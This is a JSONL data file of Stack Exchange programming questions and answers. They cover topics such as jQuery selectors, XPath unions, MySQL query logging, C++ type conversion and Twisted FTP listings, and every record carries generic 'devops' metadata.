{"id": "hf_6a830904b337", "question": "<p>My Firefox 3.0.4 does not display non-existing images at all, or it displays the image alt as plain text (if available).<br/>\nThis way I would have no idea that there is supposed to be an image there.</p>\n\n<p>Does anyone know if there is a way to make it work like IE/Opera? (ie. display a box even if the image file doesn't exists) - plugin or anything?</p>\n\n<p>Test image: <img src=\"https://example.com/notavalidlink\" alt=\"[broken image test]\"></p>\n", "question_body": "", "answer": "As far as i know there is no plugin, Images should have a width and height specified like so:\n```\n```\n<img src='...' width='100' height='100' alt='...'></img>\nor\n<img src='...' alt='...' style='width:100px; height:100px;'></img>\n```\n```\nThen firefox will reserve the appropiate space for the images.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.318724"}
{"id": "hf_a66fa27e48b3", "question": "<p>I'm looking for something like <code>alert()</code>, but that doesn't \"pause\" the script.</p>\n\n<p>I want to display an alert and allow the next command, a form <code>submit()</code>, to continue. So the page will be changing after the alert is displayed, but it won't wait till the user has clicked OK.</p>\n\n<p>Is there something like this or is it just one of those impossible things?</p>\n", "question_body": "", "answer": "You could do the alert in a setTimeout (which a very short timeout) as setTimeout is asynchronous:\n```\n```\nsetTimeout(\"alert('hello world');\", 1);\n```\n```\nOr to do it properly you really show use a method rather than a string into your setTimeout:\n```\n```\nsetTimeout(function() { alert('hello world'); }, 1);\n```\n```\nOtherwise you open yourself up to JavaScript injection attacks. When you pass a string it is run through the JavaScript\n```\neval\n```\nfunction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.344209"}
{"id": "hf_e9b201f6ce45", "question": "<p>We have an app that monitors a folder for file drop and need to initiate a virus scan before using any incoming files.</p>\n\n<p>This needs to be a part of the Delphi app and the file must pass the Virus Scan otherwise we delete the file.</p>\n\n<p>I know that there are command shell options available, however this <strong>must</strong> be a direct API call to a registered AV engine installed on the PC.</p>\n\n<p>We have looked at the MSOffice AntiVirus API but that only seems to be for developers wanting to make scanning apps that are triggered by hosting apps. We need the opposite.</p>\n\n<p>Any suggestions on a Virus Scanning Engine and API would be greatly appreciated.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "The procedure is described\nhere\n, in the section entitled 'Internet Explorer 5 and Office 2000 Implementation'.\nA Delphi implementation of enumerating the category is available\nhere\n(GetRegisteredAntiviruses).  Just fill out a TMsoavinfo and call\nScan\n.\nMost AV programs allow you to scan a file by passing it as a single argument on the command line - I believe Windows Live Messenger uses this method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.395286"}
{"id": "hf_7c63763b68a3", "question": "<p>I'm using VS 2008 to create a C++ DLL (not managed) project and I need convert a char* to a long long type. Is there an easy way to do it?</p>\n\n<p>Thanks in advance :)</p>\n", "question_body": "", "answer": "Try\n```\n_atoi64.\n```\nThis takes\n```\nchar*\n```\nand returns\n```\n__int64\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.420358"}
{"id": "hf_9959f4f18e86", "question": "<p>The concept of a <a href=\"http://en.wikipedia.org/wiki/Coroutine\" rel=\"noreferrer\">coroutine</a> sounds very interesting, but I don't know, if it makes sense in a real productive environment? What are use cases for coroutines, where the coroutine implementation is more elegant, simpler or more efficient than other methods?</p>\n", "question_body": "", "answer": "True coroutines require language support.  They need to be implemented by the compiler and supported by the underlying framework.\nOne language-supported implementation of coroutines is the C# 2.0\n```\nyield return\n```\nkeyword, which allows you to write a method that returns multiple values for looping.\nThe\n```\nyield return\n```\ndoes have limitations, however. The implementation uses a helper class to capture state, and it only supports the specific case of a coroutine as a generator (iterator).\nIn a more general case, an advantage of coroutines is that they make certain state-based computations easier to express and easier to understand.  For example, implementing a state machine as a set of coroutines can be more elegant than other implementations. But doing this requires language support that doesn't yet exist in C# or Java.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.445824"}
{"id": "hf_044cb37e1c2c", "question": "<p>The Drupal API has <a href=\"http://api.drupal.org/api/function/drupal_get_path/6\" rel=\"noreferrer\"><code>drupal_get_path($type, $name)</code></a> which will give the path of any particular theme or module.  What if I want the path of the current theme?</p>\n", "question_body": "", "answer": "this should work (\ndoc\n):\n```\n```\nglobal $theme;\n$path = drupal_get_path('theme', $theme);\n\n// there's also a $theme_path global\n\nglobal $theme_path;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.470334"}
{"id": "hf_e00d3a4031ca", "question": "<p>I was wondering if anyone knew of a macro or keyboard shortcut or anything really that would automate Attaching to a Process within visual studio?</p>\n", "question_body": "", "answer": "```\nSystem.Diagnostics.Debugger.Break()\n```\n\"If no debugger is attached, users are asked if they want to attach a debugger. If yes, the debugger is started. If a debugger is attached, the debugger is signaled with a user breakpoint event, and the debugger suspends execution of the process just as if a debugger breakpoint had been hit.\"\n--\nhttp://msdn.microsoft.com/en-us/library/system.diagnostics.debugger.break.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.494525"}
{"id": "hf_12139c6d4460", "question": "<p>I need to grab the height of the window and the scrolling offset in jQuery, but I haven't had any luck finding this in the jQuery docs or Google.</p>\n\n<p>I'm 90% certain there's a way to access height and scrollTop for an element (presumably including the window), but I just can't find the specific reference.</p>\n", "question_body": "", "answer": "```\n```\n$(window).height()\n\n$(window).width()\n```\n```\nThere is also a plugin to jquery to determine element location and offsets\nhttp://plugins.jquery.com/project/dimensions\nscrolling offset = offsetHeight property of an element", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.519111"}
{"id": "hf_2f35c027ea44", "question": "<p>There are multiple ways to fill an NSTableView up with data through either bindings, delegates, or data sources.</p>\n\n<p>What is the best way to go about filling up the tableview with data that is changed pretty frequently from an XML-RPC server?  I'm targeting Mac OS X 10.5 only and there are lots of examples on how to do it, but nothing very definitive.</p>\n\n<p>Any opinions?</p>\n", "question_body": "", "answer": "If I'm understanding correctly, it's really two separate questions. How do I fetch XML-RPC data, and how to populate a tableview?\nI'm not too familiar with XML-RPC, but from doing a quick look around it seems like you can either do the parsing yourself with the NSXML* classes, or use one of several third party frameworks. I think it would be a good idea to look at the available frameworks first, even if you don't end up using one they should give you a good idea of how to go about parsing the XML data yourself if you go that route.\nOnce you have your data from the XML-RPC request, you'll want to store that in some sort of data structure in a controller class. You could use an array of dictionaries or basic strings, or make a custom object to represent your data, but that really depends on the complexity of what you're doing. The controller object will provide data to the table view, handle refreshing, and any other tasks you may need to do. You could make the XML-RPC request directly from the controller, or you may wish to create an additional class for this to separate the code.\nWhether you use data source methods or bindings (along with an array controller) doesn't really matter, they both work fine and have their own advantages. If you're just starting with Cocoa, definitely use data source methods. Bindings requires intermediate knowledge of Objective-C and Cocoa, and will be hard to use and debug otherwise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.566770"}
{"id": "hf_8cec1db770e3", "question": "<p>How do you access a MySQL relation using RoR?</p>\n", "question_body": "", "answer": "Your question doesn't really make sense.\nRails works with ActiveRecord which handles all sorts of complex database relationships. Check the AR documentation for details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.615716"}
{"id": "hf_ca49736a10d0", "question": "<p>I am in the process of setting up CruiseControl.NET. The problem I am having is that I am running CC as a console application and when my build completes successfully and executes (using exec) it launches it within the CruiseControl DOS prompt. I am just using simple batch files to launch my app but having it run within the same prompt as CC is causing CC to think the build continues as long as my app runs.</p>\n\n<p>Are there command line parameters to <code>cmd.exe</code> that will spawn another separate prompt window?</p>\n", "question_body": "", "answer": "I think this works:\n```\n```\nstart cmd.exe\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.692092"}
{"id": "hf_4e1a43bf0025", "question": "<p>I am getting this warning:</p>\n\n<pre><code>Use of uninitialized value in eval \\\"string\\\" at myscript.pl line 57.\n</code></pre>\n\n<p>When I run this code:</p>\n\n<pre><code>eval;\n{\n        `$client -f $confFile -i $inputFile -o $outputFile`;\n};\n\nif( $@ )\n{\n        # error handling here ...\n}\n</code></pre>\n\n<p>What is causing the error?</p>\n\n<p>How can I fix the underlying cause? (Or otherwise suppress the warning?)</p>\n", "question_body": "", "answer": "There is a semicolon after\n```\neval\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.717025"}
{"id": "hf_ac684c016d93", "question": "<p>I am considering using Maven for a Java open source project I manage.</p>\n\n<p>In the past, however,  Maven has not always had the best reputation. What are your impressions of Maven, at this time? </p>\n", "question_body": "", "answer": "The JavaPosse discussed Maven quite a bit in\nrecent podcast #217\n. The consensus was that it's very restrictive in how it allows you to structure your projects, but that its usage is growing, and that it may offer a cross-IDE standard for representing a project.\nUpdate\n—Javaposse also hosted an informative session at last spring's Java Roundup 09 entitled,\n\"Maven with Pain?\"\nI laughed (in horrified sympathy) as, toward the end of the recording, one of the participants related how a plugin update broke their build—two days before a production release.\nI've steered clear of it, honestly, in large part because I find the name irritating. However, the ability to manage dependencies of third-party libraries is appealing.\nUpdate\n—for those that have an irrational disdain for my irrational opinion, let me show you what \"maven\" conjures up in my mind:\nYes, in my mind, Edna Mode is\nthe\nepitome of \"maven\". And I don't want her in my build—too bossy!\nWhat would be a better name? Invented words are best for their pin-point Google results. For a good impression, root them in real words with a positive connotation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.754632"}
{"id": "hf_931966d8b8f2", "question": "<p>I'm wondering why styling an element within a specific class, like this:</p>\n\n<pre><code>.reddish H1 { color: red }\n</code></pre>\n\n<p>is shown as an example of correct syntax in the CSS1 specification under Contextual selectors:</p>\n\n<p><a href=\"http://www.w3.org/TR/2008/REC-CSS1-20080411/#class-as-selector\" rel=\"nofollow noreferrer\">Cascading Style Sheets, level 1</a></p>\n\n<p>but it's not shown as an example in the CSS2 spec:</p>\n\n<p><a href=\"http://www.w3.org/TR/2008/REC-CSS2-20080411/selector.html\" rel=\"nofollow noreferrer\">Cascading Style Sheets, Level 2</a></p>\n\n<p>At least I can't find an example of it. Has the syntax rules for this changed in CSS2, or is it simply inferred as correct syntax?</p>\n", "question_body": "", "answer": "That syntax is correct, but the example may have changed for a couple of reasons.\nFirstly it is not best practice to name classes by the description of what they do. In the case of\n```\n.reddish h1\n```\n, the example CSS shows that it is to be coloured red. However, if in a later design change the\n```\nh1\n```\nshould in fact be blue then\n```\n```\n.reddish h1 { color: blue; }\n```\n```\nmakes little sense. You should name your classes by their function or purpose on the page and not by what style they are supposed to represent.\nSecondly, it isn't advised to use keywords for colours, as the colour you receive is down to browser interpretation. Instead, of 'red' you should use the hexcode '#ff0000' to get an accurate colour in all browsers. (red may not be the best example here, but there are some strange colour keywords out there).\nWhile neither of these things is that bad, they both could add up to why the example had changed in the spec.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.902801"}
{"id": "hf_72aa5562a6b5", "question": "<p>Is it possible using <a href=\"https://jquery.com/\" rel=\"noreferrer\">jQuery</a> to select all <code>&lt;a&gt;</code> links which href ends with \"ABC\"?</p>\n\n<p>For example, if I want to find this link <code>&lt;a href=\"http://server/page.aspx?id=ABC\"&gt;</code></p>\n", "question_body": "", "answer": "```\n```\n$('a[href$=\"ABC\"]')...\n```\n```\nSelector documentation can be found at\nhttp://docs.jquery.com/Selectors\nFor attributes:\n```\n```\n= is exactly equal\n!= is not equal\n^= is starts with\n$= is ends with\n*= is contains\n~= is contains word\n|= is starts with prefix (i.e., |= \"prefix\" matches \"prefix-...\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.940482"}
{"id": "hf_565db50638ce", "question": "<p>I am having trouble constructing a single XPath statement to return two different sets of attributes.  </p>\n\n<p>For example take the following XML document:</p>\n\n<pre><code>&lt;root&gt;\n &lt;line name=\"one\" alpha=\"a1\" beta=\"b1\"/&gt;\n &lt;line name=\"two\" alpha=\"a2\" beta=\"b2\"/&gt;\n &lt;line name=\"three\" alpha=\"a3\" beta=\"b3\"/&gt;\n&lt;/root&gt;\n</code></pre>\n\n<p>If I use the following XPath statement:</p>\n\n<pre><code>//@alpha\n</code></pre>\n\n<p>It yields the following attribute set:</p>\n\n<pre><code>alpha=\"a1\"\nalpha=\"a2\"\nalpha=\"a3\"\n</code></pre>\n\n<p>What statement do I use to yield the following attribute set:</p>\n\n<pre><code>alpha=\"a1\"\nalpha=\"a2\"\nalpha=\"a3\"\nbeta=\"b1\"\nbeta=\"b2\"\nbeta=\"b3\"\n</code></pre>\n", "question_body": "", "answer": "By using the\n```\n|\n```\noperator in an XPath expression you can select several paths:\n```\n```\n//@alpha | //@beta\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.978997"}
{"id": "hf_f3d854dae26d", "question": "<p>Is it possible for me to turn on audit logging on my mysql database?</p>\n\n<p>I basically want to monitor all queries for an hour, and dump the log to a file.</p>\n", "question_body": "", "answer": "UPDATE: NO LONGER VALID FOR MYSQL 5.6+\nStart mysql with the --log option:\n```\n```\nmysqld --log=log_file_name\n```\n```\nor place the following in your\n```\nmy.cnf\n```\nfile:\n```\n```\nlog = log_file_name\n```\n```\nEither one will log all queries to log_file_name.\nYou can also log only slow queries using the\n```\n--log-slow-queries\n```\noption instead of\n```\n--log\n```\n.  By default, queries that take 10 seconds or longer are considered slow, you can change this by setting\n```\nlong_query_time\n```\nto the number of seconds a query must take to execute before being logged.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.020535"}
{"id": "hf_85f762af8f3b", "question": "<p>I have a multi-threaded application that is hanging on a call to _dl_sysinfo_int80().  According to gdb, all threads are stuck in this call.</p>\n\n<p>The top of the stack trace looks like:</p>\n\n<pre><code>#0  0x002727a2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2\n#1  0x004f23de in __lll_mutex_lock_wait () from /lib/tls/libpthread.so.0\n#2  0x004ef00b in _L_mutex_lock_35 () from /lib/tls/libpthread.so.0\n#3  0x092828ac in construction vtable for std::ostream-in-std::basic_stringstream&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; ()\n</code></pre>\n\n<p>Any idea what could be causing this?</p>\n", "question_body": "", "answer": "int 80 is the software interrupt to make a kernel level system call.  My guess is that pthread is doing a call in to the kernel that is hanging.  There could be any number of reasons for why all of your threads would hang on a mutex like this:\n- The mutex is locked by another thread that exited without releasing the lock\n- The mutex is locked by one of the threads that is typing to lock it and wasn't declared recursive\n- The mutex was never initialized at all\n- The mutex has been corrupted by a bad pointer, stack problem, some other type of general memory corruption.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.045341"}
{"id": "hf_48a86325298c", "question": "<p>What's the easiest way to truncate a C++ <code>float</code> variable that has a value of 0.6000002 to a value of 0.6000 and store it back in the variable?</p>\n", "question_body": "", "answer": "First it is important to know that floating point numbers are approximated.   See the link provided by @Greg Hewgill to understand why this problem is not fully solvable.\nBut here are a couple of solutions to the problem that will probably meet your need:\nProbably the better method but less efficient:\n```\n```\nchar sz[64];\ndouble lf = 0.600000002;\nsprintf(sz, \"%.4lf\\n\", lf); //sz contains 0.6000\n\ndouble lf2 = atof(sz);\n\n//lf == 0.600000002;\n//lf2 == 0.6000\n\nprintf(\"%.4lf\", lf2); //print 0.6000\n```\n```\nThe more efficient way, but probably less precise:\n```\n```\ndouble lf = 0.600000002;\nint iSigned = lf > 0? 1: -1;\nunsigned int uiTemp = (lf*pow(10, 4)) * iSigned; //Note I'm using unsigned int so that I can increase the precision of the truncate\nlf = (((double)uiTemp)/pow(10,4) * iSigned);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.070031"}
{"id": "hf_eadbf4febadc", "question": "<p>I want to create a right click context menu for my textboxes to provide the typical copy/paste functionality. Any ideas on how to go about this?</p>\n", "question_body": "", "answer": "Looks like this is a\nway to do this here\n,\nanother example here\n, and the\nmost recent one here\n. Using these methods you should be able to show your own context menu. Once you have that you'll need access to the clipboard and there is an\nexample of this here\n.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.094113"}
{"id": "hf_aee695862ad0", "question": "<p>Is there anyone out there using iPython with emacs 23? The documents on the emacs wiki are a bit of a muddle and I would be interested in hearing from anyone using emacs for Python development. Do you use the download python-mode and ipython.el? What do you recommend?</p>\n", "question_body": "", "answer": "never used it myself, but I do follow the ipython mailing list, and there was a\nthread\na couple months back.\nmaybe this will help\nhttp://lists.ipython.scipy.org/pipermail/ipython-user/2008-September/005791.html\nIt's also a very responsive mailing list if you run into trouble.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.155232"}
{"id": "hf_d4f505efdc2f", "question": "<p>The comment to <a href=\"https://stackoverflow.com/questions/200090/how-do-you-convert-a-c-string-to-an-int#200099\">this answer</a> got me wondering.  I've always thought that C was a proper subset of C++, that is, any valid C code is valid C++ code by extension.  Am I wrong about that?  Is it possible to write a valid C program that is not valid C++ code?</p>\n\n<p>EDIT: This is really similar to, but not an exact duplicate of <a href=\"https://stackoverflow.com/questions/145096/is-c-actually-a-superset-of-c#145098\">this question</a>.</p>\n", "question_body": "", "answer": "In general, yes C code is considered C++ code.\nBut C is not a proper subset in a strict sense.  There are a couple of exceptions.\nHere are some valid things in C that are not valid in C++:\n```\n```\nint *new;//<-- new is not a keyword in C\nchar *p = malloc(1024); //void * to char* without cast\n```\n```\nThere are more examples too, but you get the idea.\nI previously wrote a more extensive answer in a similar question\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.205613"}
{"id": "hf_cb5666f294cc", "question": "<p>Having the window handle for an open application, I'm able to use the GetWindowText function to retrieve the text from the title bar of the app.  I would like to take this a step farther and retrieve the icon associated with the same app.  </p>\n\n<p>How might I go about doing this?  I looked through what I thought would be the relevant Win32 API sections, but nothing jumped out at me.</p>\n\n<p>Any pointers would be appreciated.</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "```\n```\nIcon ico = Icon.ExtractAssociatedIcon(theProcess.MainModule.FileName);\n```\n```\nFrom TheSoftwareJedi\nInitially this appears to be an exact duplicate of\nHow can I get the icon from the executable file only having an instance of it's Process in C#\nbut that one seems to focus largely on how to get it from within it's own self, whereas you may be asking how to get the icon using a program separate from the running process.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.257001"}
{"id": "hf_f61b97eb3ab4", "question": "<p>How do I return a constant from an sql statement? </p>\n\n<p>For example how would I change the code below so \"my message\" would return if my (boolean expression) was true</p>\n\n<pre><code>if (my boolean expression)\n \"my message\"\nelse\n select top 1 name from people;\n</code></pre>\n\n<p>I am using ms sql 2000</p>\n", "question_body": "", "answer": "Did you try:\n```\n```\nselect 'my message';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.378791"}
{"id": "hf_140e95b8e82c", "question": "<p>I've been using ISAPI_Rewrite from Helicon (<a href=\"http://www.helicontech.com/isapi_rewrite/\" rel=\"nofollow noreferrer\">http://www.helicontech.com/isapi_rewrite/</a>) on a Server 2003 box for years and have always had good luck with it.</p>\n\n<p>I'm migrating all the sites on the 2003 box to a new shiny Server 2008 box.  I would prefer to not purchase a new license and I have heard that IIS 7 will have capability built in.</p>\n\n<p>All the rewrites are setup in a .htaccess configuration file just like mod_rewrite for Apache.</p>\n\n<p>Does anyone know if this capability ever got baked into IIS 7 and if so do you know of any good articles that explain how to get it all enabled?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "IIS7 does have the functionality built in, as you mentioned. You can either use a custom HttpModule, as described in\nTip/Trick: Url Rewriting with ASP.NET\n.\nAlternatively, you could install the the\nIIS7 Rewrite Module\nas\ndescribed here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.440461"}
{"id": "hf_d53158bc4498", "question": "<p>I am using Python and the <a href=\"http://twistedmatrix.com/trac/\" rel=\"nofollow noreferrer\">Twisted</a> framework to connect to an FTP site to perform various automated tasks.  Our FTP server happens to be Pure-FTPd, if that's relevant.</p>\n\n<p>When connecting and calling the <strong>list</strong> method on an <strong>FTPClient</strong>, the resulting <strong>FTPFileListProtocol</strong>'s <strong>files</strong> collection does not contain any directories or file names that contain a space (' ').</p>\n\n<p>Has anyone else seen this?  Is the only solution to create a sub-class of FTPFileListProtocol and override its <strong>unknownLine</strong> method, parsing the file/directory names manually?</p>\n", "question_body": "", "answer": "Firstly, if you're performing automated tasks on a retrieived FTP listing then you should probably be looking at\n```\nNLST\n```\nrather than\n```\nLIST\n```\nas noted in\nRFC 959 section 4.1.3\n:\n```\nNAME LIST (NLST)\n ...\n            This command is intended to return information that\n            can be used by a program to further process the\n            files automatically.\n```\nThe\nTwisted documentation\nfor\n```\nLIST\n```\nsays:\n```\nIt can cope with most common file listing formats.\n```\nThis make me suspicious; I do not like solutions that \"cope\".\n```\nLIST\n```\nwas intended for human consumption not machine processing.\nIf your target server supports them then you should prefer\n```\nMLST\n```\nand\n```\nMLSD\n```\nas defined in\nRFC 3659 section 7\n:\n```\n7.  Listings for Machine Processing (MLST and MLSD)\n\n   The MLST and MLSD commands are intended to standardize the file and\n   directory information returned by the server-FTP process.  These\n   commands differ from the LIST command in that the format of the\n   replies is strictly defined although extensible.\n```\nHowever, these newer commands may not be available on your target server and I don't see  them in Twisted. Therefore\n```\nNLST\n```\nis probably your best bet.\nAs to the nub of your problem, there are three likely causes:\nThe processing of the returned results is incorrect (Twisted may be at fault, as you suggest, or perhaps elsewhere)\nThe server is buggy and not sending a correct (complete) response\nThe wrong command is being sent (unlikely with straight\n```\nNLST\n```\n/\n```\nLIST\n```\n, but some servers react differently if arguments are supplied to these commands)\nYou can eliminate (2) and (3) and prove that the cause is (1) by looking at what is sent over the wire. If this option is not available to you as part of the Twisted API or the Pure-FTPD server logging configuration, then you may need to break out a network sniffer such as tcpdump, snoop or WireShark (assuming you're allowed to do this in your environment). Note that you will need to trace not only the control connection (port 21) but also the data connection (since that carries the results of the\n```\nLIST\n```\n/\n```\nNLST\n```\ncommand). WireShark is nice since it will perform the protocol-level analysis for you.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.465804"}
{"id": "hf_33d1e74081fb", "question": "<p>Is there a way to find all nodes in a xml tree using cElementTree? The findall method works only for specified tags.</p>\n", "question_body": "", "answer": "You can use\nXPath paths\non the findall method:\nThe 1.2 release supports simple\n  element location paths. In its\n  simplest form, a location path is one\n  or more tag names, separated by\n  slashes (/).\nYou can also use an asterisk (*)\n  instead of a tag name, to match all\n  elements at that level. For example,\n  */subtag returns all subtag grandchildren.\nAn empty tag (//) is used to search on\n  all levels of the tree, beneath the\n  current level. The empty tag must\n  always be followed by a tag name or an\n  asterisk.\n```\n```\netree.findall('.//*')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.515631"}
{"id": "hf_d23a138553c2", "question": "<p>What Inversion of Control Container framework would you recommend to a beginner in this area?</p>\n", "question_body": "", "answer": "I have done some evaluation of the\nSpring.NET port\n.  It offers AOP, config-file setup of the container, and other cool stuff.  I think their site is well organized and the docs are well written.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.540754"}
{"id": "hf_2a26c2362b10", "question": "<p>I have a custom NSTableView subclass which is bound to a data source (an NSArray) which updates asynchronously. When items are added to the array, rows are automatically added to the tableview. Awesome!</p>\n\n<p>My question is this: How can I detect that this magic has happened so that I can perform some other tasks related to the display of my custom tableview? Is there a method that I can override in my subclass which will be called when the tableview is updated?</p>\n", "question_body": "", "answer": "You don't need to subclass NSTableView to change its height based on the number of rows. In your controller, just monitor the data array using KVO and adjust the frame size of the tableview's scrollview (you can find it using\n```\nenclosingScrollView\n```\n) when rows are added or removed. I've used this technique before and it's worked well. You can use the tableview's\n```\nrowHeight\n```\nand\n```\nintercellSpacing\n```\nmethods to calculate the height of the frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:00.566090"}
